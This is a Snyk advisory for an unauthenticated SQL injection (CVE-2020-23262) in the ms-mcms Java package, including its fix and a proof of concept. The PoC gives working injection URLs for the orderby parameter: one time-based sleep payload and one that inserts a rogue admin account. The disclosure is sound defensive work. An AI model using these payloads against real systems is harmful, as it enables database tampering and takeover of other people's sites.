SQL Injection Affecting net.mingsoft:ms-mcms package, versions [,5.1)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.47% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-NETMINGSOFT-2397345
  • published10 Feb 2022
  • disclosed9 Feb 2022
  • creditUnknown

Introduced: 9 Feb 2022

CVE-2020-23262  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

Upgrade net.mingsoft:ms-mcms to version 5.1 or higher.

Overview

Affected versions of this package are vulnerable to SQL Injection via the orderby parameter which isn't handled correctly through the /mcms/view.do endpoint while unauthenticated.

PoC

  1. Enumerate an available ID using a tool likeBurp Intruder in the <ms-mcms address>:<port>/ms-mcms/mcms/view.do?id=<id number>.

1.1) Whenever an ID is unavailable you will receive an error, otherwise it'll be a status code 200.

  1. Once an ID is found, browse to: <ms-mcms address>:<port>/ms-mcms/mcms/view.do?id=<the id that is available>&&order=desc&orderby=content_category_id%60,(select%201%20from%20(select%20if(1=1,sleep(3),sleep(0)))a)%23

  2. It is also possible to inject an admin account: `:/ms-mcms/mcms/view.do?id=221&&order=desc&orderby=content_category_id%60;insert%20into%20manager%20(manager_name,manager_nickname,manager_password,manager_roleid)%20values%20('admin','admin','9d8622060de5f24937b60585c3f4d66b',48)%23

References

CVSS Scores

version 3.1